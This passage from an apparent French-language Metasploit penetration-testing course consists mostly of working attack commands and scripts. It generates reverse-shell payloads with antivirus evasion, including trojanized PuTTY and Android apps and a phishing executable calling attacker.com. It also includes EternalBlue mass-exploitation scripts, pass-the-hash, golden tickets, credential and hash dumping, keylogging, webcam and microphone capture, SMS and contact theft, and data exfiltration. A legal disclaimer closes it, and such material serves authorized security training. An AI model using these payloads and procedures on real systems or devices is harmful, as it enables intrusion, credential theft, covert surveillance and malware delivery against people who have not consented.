Bind vs Reverse¶
# Reverse TCP (victime se connecte à l'attaquant)
windows/meterpreter/reverse_tcp
# Avantage : bypass firewalls sortants faibles
# Bind TCP (attaquant se connecte à la victime)
windows/meterpreter/bind_tcp
# Avantage : pas besoin d'IP publique côté attaquant
# Reverse HTTPS (chiffré, ressemble à du trafic web)
windows/meterpreter/reverse_https
# Reverse DNS (tunneling via DNS)
windows/meterpreter/reverse_tcp_dns
Exemples avec HTTPS¶
# Générer payload HTTPS
msfvenom -p windows/meterpreter/reverse_https \
LHOST=192.168.1.50 LPORT=443 \
-f exe -o backdoor_https.exe
# Handler HTTPS
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set payload windows/meterpreter/reverse_https
msf6 exploit(handler) > set LHOST 192.168.1.50
msf6 exploit(handler) > set LPORT 443
msf6 exploit(handler) > exploit
10. Techniques Avancées¶
10.1 Contournement d’Antivirus¶
Technique 1 : Encodage Multiple¶
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-e x86/shikata_ga_nai -i 20 \
-f exe -o encoded_payload.exe
Technique 2 : Template Injection¶
# Télécharger un executable légitime et signé
wget https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe
# Injecter le payload
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-x putty.exe -k \
-e x86/shikata_ga_nai -i 5 \
-f exe -o putty_backdoor.exe
Technique 3 : PowerShell Reflective Injection¶
# Générer payload PowerShell
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=192.168.1.50 LPORT=443 \
-f psh-reflection -o payload.ps1
# Sur la cible
powershell.exe -ExecutionPolicy Bypass -File payload.ps1
Technique 4 : Veil-Evasion Integration¶
# Veil génère des payloads furtifs
veil
# Utiliser avec handler Metasploit
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(handler) > exploit
Technique 5 : Custom Crypter¶
# Créer un crypter basique en Python
# encrypt.py
import sys
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
key = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_EAX)
with open(sys.argv[1], 'rb') as f:
data = f.read()
ciphertext, tag = cipher.encrypt_and_digest(data)
with open('encrypted.bin', 'wb') as f:
f.write(cipher.nonce + tag + ciphertext)
print(f"Key: {key.hex()}")
10.2 Exploitation avec Sessions Multiples¶
# Fichier: mass_exploit.rc
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS file:/tmp/targets.txt
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
set ExitOnSession false
exploit -j -z
# targets.txt contient une IP par ligne
# Lancer
msfconsole -r mass_exploit.rc
10.3 Chaining d’Exploits¶
# Exemple : exploit web -> pivot -> exploit interne
# 1. Exploiter serveur web
msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 exploit(tomcat_mgr_upload) > set RHOSTS 203.0.113.50
msf6 exploit(tomcat_mgr_upload) > exploit
# 2. Setup pivoting
meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > background
# 3. Scanner le réseau interne via pivot
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(smb_ms17_010) > run
# 4. Exploiter cible interne
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.10.10.25
msf6 exploit(ms17_010_eternalblue) > exploit
10.4 Custom Payloads avec MSF Modules¶
# ~/.msf4/modules/exploits/custom/my_exploit.rb
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'My Custom Exploit',
'Description' => %q{
Custom exploit example
},
'Author' => [ 'Your Name' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Windows XP SP3', { 'Ret' => 0x12345678 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 01 2020'
))
register_options(
[
Opt::RPORT(9999)
])
end
def exploit
connect
buf = "A" * 1000 # Votre exploit ici
sock.put(buf)
handler
disconnect
end
end
10.5 Integration avec Empire/Covenant¶
# Utiliser MSF pour accès initial, puis lateral movement avec C2
# 1. Exploit avec MSF
meterpreter >
# 2. Upload Empire stager
meterpreter > upload /root/empire_stager.exe C:\\Windows\\Temp\\
# 3. Exécuter
meterpreter > execute -f C:\\Windows\\Temp\\empire_stager.exe
# 4. Maintenant contrôle via Empire pour C2 persistant
10.6 Exploitation de Domaines Active Directory¶
Kerberoasting¶
# Depuis Meterpreter sur machine du domaine
meterpreter > load kiwi
meterpreter > kerberos_ticket_list
# Export tickets
meterpreter > kerberos_ticket_use /path/to/ticket.kirbi
# Via module post
msf6 > use post/windows/gather/credentials/domain_hashdump
msf6 post(domain_hashdump) > set SESSION 1
msf6 post(domain_hashdump) > run
Pass-the-Hash¶
# Utiliser un hash NTLM pour s'authentifier
msf6 > use exploit/windows/smb/psexec
msf6 exploit(psexec) > set RHOSTS 192.168.1.100
msf6 exploit(psexec) > set SMBUser Administrator
msf6 exploit(psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
msf6 exploit(psexec) > exploit
BloodHound Integration¶
# Collecter données AD
meterpreter > background
msf6 > use post/windows/gather/bloodhound
msf6 post(bloodhound) > set SESSION 1
msf6 post(bloodhound) > run
# Analyser avec BloodHound pour trouver chemins d'attaque
11. Scripts et Automatisation¶
11.1 Resource Scripts (.rc)¶
Exemple: Auto-Exploitation¶
# auto_pwn.rc
workspace -a autopwn
db_nmap -sV 192.168.1.0/24
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run
# Si vulnérable trouvé, exploiter
hosts -c address,os_name -S Windows | cut -d' ' -f1 > /tmp/targets.txt
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS file:/tmp/targets.txt
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
set ExitOnSession false
exploit -j -z
# Exécuter
msfconsole -q -r auto_pwn.rc
Exemple: Handler Multi-Session¶
# multi_handler.rc
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
set StageEncoder x86/shikata_ga_nai
set EnableStageEncoding true
exploit -j -z
# Lancer en arrière-plan
msfconsole -q -r multi_handler.rc
11.2 Automation avec Ruby API¶
# autopwn.rb
require 'msf/core'
require 'msf/base'
$framework = Msf::Simple::Framework.create('LogLevel' => 0)
# Charger un exploit
exploit = $framework.exploits.create('windows/smb/ms17_010_eternalblue')
# Configurer
exploit.datastore['RHOSTS'] = '192.168.1.100'
exploit.datastore['RPORT'] = 445
# Payload
payload = $framework.payloads.create('windows/meterpreter/reverse_tcp')
payload.datastore['LHOST'] = '192.168.1.50'
payload.datastore['LPORT'] = 4444
# Exploiter
session = exploit.exploit_simple(
'Payload' => payload.refname,
'LocalInput' => $stdin,
'LocalOutput' => $stdout
)
if session
puts "[+] Session opened!"
session.console.run_single("sysinfo")
end
11.3 Scripting avec Meterpreter API¶
# post_exploit.rb - Script Meterpreter personnalisé
client = session
sysinfo = client.sys.config.sysinfo
print_status("OS: #{sysinfo['OS']}")
print_status("Computer: #{sysinfo['Computer']}")
# Dump hashs
hash_dump = client.railgun.priv.hashdump
print_good("Hashes:\n#{hash_dump}")
# Screenshot
screenshot = client.sys.process.capture_screenshot
screenshot.save("/tmp/screenshot.png")
print_good("Screenshot saved")
# Usage depuis Meterpreter
meterpreter > run post_exploit.rb
11.4 Integration avec Python (PyMetasploit)¶
# exploit.py
from pymetasploit3.msfrpc import MsfRpcClient
# Se connecter au RPC server
client = MsfRpcClient('password', server='127.0.0.1', port=55553)
# Démarrer RPC: msfrpcd -P password -S
# Lister exploits
for exploit in client.modules.exploits:
print(exploit)
# Utiliser un exploit
exploit = client.modules.use('exploit', 'windows/smb/ms17_010_eternalblue')
exploit['RHOSTS'] = '192.168.1.100'
exploit['RPORT'] = 445
# Payload
payload = client.modules.use('payload', 'windows/meterpreter/reverse_tcp')
payload['LHOST'] = '192.168.1.50'
payload['LPORT'] = 4444
# Exploiter
print(exploit.execute(payload=payload))
# Gérer les sessions
sessions = client.sessions.list
for session_id, session_data in sessions.items():
print(f"Session {session_id}: {session_data}")
# Interagir
shell = client.sessions.session(session_id)
shell.write('sysinfo\n')
print(shell.read())
11.5 Automatisation Post-Exploitation¶
# post_exploit.rc
# Exécuter sur toutes les sessions actives
sessions -l
# Pour chaque session
sessions -s post/windows/gather/hashdump
sessions -s post/windows/gather/enum_logged_on_users
sessions -s post/windows/gather/credentials/windows_autologin
sessions -s post/multi/recon/local_exploit_suggester
# Screenshots de toutes les sessions
sessions -c "screenshot /tmp/screenshot_%sid.png"
# Keylog sur toutes les sessions
sessions -c "keyscan_start"
sleep 300
sessions -c "keyscan_dump"
sessions -c "keyscan_stop"
12. Cas Pratiques Complets¶
12.1 Cas Pratique 1: Pentest d’une PME¶
Objectif: Compromission complète d’un réseau de PME
Phase 1: Reconnaissance¶
# Démarrer Metasploit
msfconsole -q
# Créer workspace
msf6 > workspace -a pme_pentest
# Scan initial
msf6 > db_nmap -sV -sC -O -T4 192.168.10.0/24
# Analyser les résultats
msf6 > hosts
msf6 > services
msf6 > services -p 445 # Machines avec SMB
Phase 2: Exploitation¶
# Scanner SMB pour vulnérabilités
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.10.0/24
msf6 auxiliary(smb_ms17_010) > run
# Machine vulnérable trouvée: 192.168.10.50
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.10.50
msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.10.100
msf6 exploit(ms17_010_eternalblue) > exploit
[*] Meterpreter session 1 opened
meterpreter >
Phase 3: Post-Exploitation¶
# Informations système
meterpreter > sysinfo
meterpreter > getuid
# Élévation si nécessaire
meterpreter > getsystem
# Dump credentials
meterpreter > load kiwi
meterpreter > creds_all
# Trouvé: domain\admin hash
# NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
# Énumération réseau
meterpreter > run post/windows/gather/enum_domain
meterpreter > run post/windows/gather/enum_logged_on_users
# Persistence
meterpreter > background
msf6 > use exploit/windows/local/registry_persistence
msf6 exploit(registry_persistence) > set SESSION 1
msf6 exploit(registry_persistence) > exploit
Phase 4: Pivoting vers Contrôleur de Domaine¶
# Découverte réseau interne
meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > background
# Scanner DC
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 10.10.10.10
msf6 auxiliary(smb_version) > run
# Pass-the-Hash vers DC
msf6 > use exploit/windows/smb/psexec
msf6 exploit(psexec) > set RHOSTS 10.10.10.10
msf6 exploit(psexec) > set SMBDomain DOMAIN
msf6 exploit(psexec) > set SMBUser Administrator
msf6 exploit(psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
msf6 exploit(psexec) > exploit
[*] Meterpreter session 2 opened
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Phase 5: Dominance du Domaine¶
# Dump tous les hashs du domaine
meterpreter > load kiwi
meterpreter > dcsync_ntlm krbtgt
# Golden Ticket
meterpreter > golden_ticket_create -u Administrator -d domain.local -s <SID> -k <krbtgt_hash>
# Exfiltration de données
meterpreter > download C:\\Users\\*\\Documents\\*.docx /tmp/exfil/
12.2 Cas Pratique 2: Exploitation d’Application Web¶
Objectif: Compromission via vulnérabilité web
Reconnaissance¶
msf6 > workspace -a webapp_test
msf6 > db_nmap -sV -p 80,443,8080,8443 192.168.20.0/24
# Webapp trouvée sur 192.168.20.50:8080
msf6 > use auxiliary/scanner/http/http_version
msf6 auxiliary(http_version) > set RHOSTS 192.168.20.50
msf6 auxiliary(http_version) > set RPORT 8080
msf6 auxiliary(http_version) > run
# Apache Tomcat détecté
Brute Force Tomcat Manager¶
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.20.50
msf6 auxiliary(tomcat_mgr_login) > set RPORT 8080
msf6 auxiliary(tomcat_mgr_login) > run
[+] 192.168.20.50:8080 - LOGIN SUCCESSFUL: tomcat:s3cret
Exploitation¶
msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 exploit(tomcat_mgr_upload) > set RHOSTS 192.168.20.50
msf6 exploit(tomcat_mgr_upload) > set RPORT 8080
msf6 exploit(tomcat_mgr_upload) > set HttpUsername tomcat
msf6 exploit(tomcat_mgr_upload) > set HttpPassword s3cret
msf6 exploit(tomcat_mgr_upload) > set payload java/meterpreter/reverse_tcp
msf6 exploit(tomcat_mgr_upload) > set LHOST 192.168.20.100
msf6 exploit(tomcat_mgr_upload) > exploit
[*] Meterpreter session 1 opened
meterpreter >
Upgrade Shell et Escalade¶
# Shell Java limité, upgrade
meterpreter > shell
$ python -c 'import pty;pty.spawn("/bin/bash")'
tomcat@server:/$
# Enumération
$ uname -a
$ cat /etc/*-release
# Recherche de vulnérabilités
meterpreter > background
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(local_exploit_suggester) > set SESSION 1
msf6 post(local_exploit_suggester) > run
[+] 192.168.20.50 - exploit/linux/local/cve_2021_4034_pwnkit: The target is vulnerable.
# Exploitation
msf6 > use exploit/linux/local/cve_2021_4034_pwnkit
msf6 exploit(cve_2021_4034_pwnkit) > set SESSION 1
msf6 exploit(cve_2021_4034_pwnkit) > set LHOST 192.168.20.100
msf6 exploit(cve_2021_4034_pwnkit) > exploit
[*] Meterpreter session 2 opened
meterpreter > getuid
Server username: root
12.3 Cas Pratique 3: Phishing avec Metasploit¶
Objectif: Obtenir accès via payload malveillant
Génération du Payload¶
# Payload Windows furtif
msfvenom -p windows/meterpreter/reverse_https \
LHOST=attacker.com LPORT=443 \
-e x86/shikata_ga_nai -i 10 \
-x putty.exe -k \
-f exe -o "Update_KB2024.exe"
# Vérification AV (optionnel)
# Upload sur virustotal ou analyseur local
Setup du Handler¶
# handler.rc
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 443
set ExitOnSession false
set StageEncoder x86/shikata_ga_nai
set EnableStageEncoding true
exploit -j -z
# Lancer
msfconsole -q -r handler.rc
Livraison (hors scope de ce cours)¶
Email de phishing avec pièce jointe Update_KB2024.exe
ou hébergement sur site compromis
Réception de la Session¶
[*] https://attacker.com:443 handling request from 203.0.113.50
[*] Meterpreter session 1 opened
msf6 > sessions -i 1
meterpreter > sysinfo
meterpreter > screenshot
meterpreter > webcam_snap
# Post-exploitation automatique
meterpreter > run post/windows/gather/enum_logged_on_users
meterpreter > run post/windows/gather/credentials/windows_autologin
meterpreter > load kiwi
meterpreter > creds_all
12.4 Cas Pratique 4: Pentest Android¶
Objectif: Compromission d’appareil Android
Génération APK Malveillant¶
# APK standalone
msfvenom -p android/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-o malicious.apk
# Ou injection dans app légitime
# Télécharger une app légitime (.apk)
msfvenom -x legitimate.apk \
-p android/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-o injected.apk
Setup Handler¶
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set payload android/meterpreter/reverse_tcp
msf6 exploit(handler) > set LHOST 192.168.1.50
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.1.50:4444
Installation et Exécution (sur device de test)¶
# Installer l'APK sur le device
adb install malicious.apk
# Lancer l'app
adb shell am start -n com.metasploit.stage/.MainActivity
Post-Exploitation Android¶
[*] Meterpreter session 1 opened
meterpreter > sysinfo
meterpreter > ifconfig
# Géolocalisation
meterpreter > run post/android/gather/wlan_geolocate
# Dump SMS
meterpreter > dump_sms
# Dump contacts
meterpreter > dump_contacts
# Dump call logs
meterpreter > dump_calllog
# Capture photos
meterpreter > webcam_list
meterpreter > webcam_snap
# Enregistrement audio
meterpreter > record_mic -d 30
# Monitorer la localisation en continu
meterpreter > run post/android/gather/wireless_spy
Annexes¶
A. Commandes de Référence Rapide¶
# Navigation
search <term> # Rechercher modules
use <module> # Utiliser module
back # Retour
info # Informations module
show options # Options requises
show advanced # Options avancées
show payloads # Payloads compatibles
# Configuration
set <option> <value> # Définir option
setg <option> <value> # Définir globalement
get <option> # Voir valeur
unset <option> # Annuler
# Exécution
check # Vérifier vulnérabilité
exploit / run # Exploiter
exploit -j # Background
exploit -z # Ne pas interagir
# Sessions
sessions -l # Lister
sessions -i <id> # Interagir
sessions -k <id> # Tuer
sessions -u <id> # Upgrade vers Meterpreter
sessions -K # Tuer toutes
# Database
db_status # Status DB
workspace -a <name> # Créer workspace
workspace <name> # Basculer
db_nmap <options> <target> # Scan Nmap
hosts # Lister hôtes
services # Lister services
creds # Lister credentials
B. Meterpreter - Référence Rapide¶
# Système
sysinfo # Info système
getuid # Utilisateur actuel
ps # Processus
migrate <pid> # Migrer processus
getpid # PID actuel
# Fichiers
pwd / cd / ls # Navigation
cat <file> # Lire fichier
download <remote> <local> # Télécharger
upload <local> <remote> # Uploader
search -f <pattern> # Chercher fichiers
# Exécution
execute -f <file> # Exécuter
shell # Shell système
# Réseau
ifconfig / route / arp # Info réseau
portfwd add -l <lp> -p <rp> -r <rh> # Port forwarding
netstat # Connexions réseau
# Privilèges
getsystem # Élever à SYSTEM
getprivs # Lister privilèges
# Extensions
load <extension> # Charger (kiwi, incognito, etc)
run <script> # Exécuter script
# Pivoting
run autoroute -s <subnet> # Ajouter route
# Misc
screenshot # Capture écran
keyscan_start / dump / stop # Keylogger
clearev # Effacer logs
background # Mettre en background
C. MSFVenom - Référence Rapide¶
# Structure de base
msfvenom -p <payload> <options> -f <format> -o <output>
# Lister
msfvenom --list payloads # Tous les payloads
msfvenom --list encoders # Tous les encoders
msfvenom --list formats # Tous les formats
# Options communes
LHOST=<ip> # IP d'écoute
LPORT=<port> # Port d'écoute
RHOST=<ip> # IP cible (bind)
RPORT=<port> # Port cible (bind)
# Flags importants
-e <encoder> # Encoder
-i <iterations> # Itérations encodage
-x <template> # Template injection
-k # Keep template behavior
-f <format> # Format de sortie
-o <file> # Fichier de sortie
-b <chars> # Bad characters
# Exemples rapides
# Windows EXE
msfvenom -p windows/meterpreter/reverse_tcp LHOST=X LPORT=Y -f exe -o shell.exe
# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=X LPORT=Y -f elf -o shell.elf
# PHP Web Shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=X LPORT=Y -f raw -o shell.php
# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=X LPORT=Y -o app.apk
D. Ports Communs et Services¶
21 - FTP
22 - SSH
23 - Telnet
25 - SMTP
53 - DNS
80 - HTTP
110 - POP3
135 - MS RPC
139 - NetBIOS
143 - IMAP
443 - HTTPS
445 - SMB
1433 - MS SQL
1521 - Oracle
3306 - MySQL
3389 - RDP
5432 - PostgreSQL
5900 - VNC
8080 - HTTP Alternate
8443 - HTTPS Alternate
E. Ressources et Apprentissage Continue¶
Documentation Officielle: - https://docs.metasploit.com/ - https://github.com/rapid7/metasploit-framework
Environnements de Pratique: - Metasploitable 2/3 (VMs vulnérables) - HackTheBox - TryHackMe - VulnHub - DVWA (Damn Vulnerable Web Application)
Livres Recommandés: - “Metasploit: The Penetration Tester’s Guide” - “Mastering Metasploit”
Communauté: - r/Metasploit - Metasploit Unleashed (cours gratuit) - Offensive Security (OSCP)
Conclusion¶
Ce cours couvre les fondamentaux et les techniques avancées de Metasploit Framework. La maîtrise de Metasploit nécessite:
- Pratique constante - Utilisez des environnements légaux
- Mise à jour régulière - Nouvelles vulnérabilités et exploits
- Compréhension des systèmes - Comprendre ce que vous exploitez
- Éthique - Toujours obtenir autorisation écrite
- Apprentissage continu - La cybersécurité évolue rapidement
AVERTISSEMENT LÉGAL: L’utilisation de Metasploit doit se faire uniquement dans un cadre légal et éthique: - Tests de pénétration autorisés par contrat - Environnements de laboratoire personnels - Formation et recherche - Compétitions CTF autorisées
L’utilisation non autorisée est illégale et peut entraîner des poursuites pénales.
Bonne pratique et apprentissage responsable !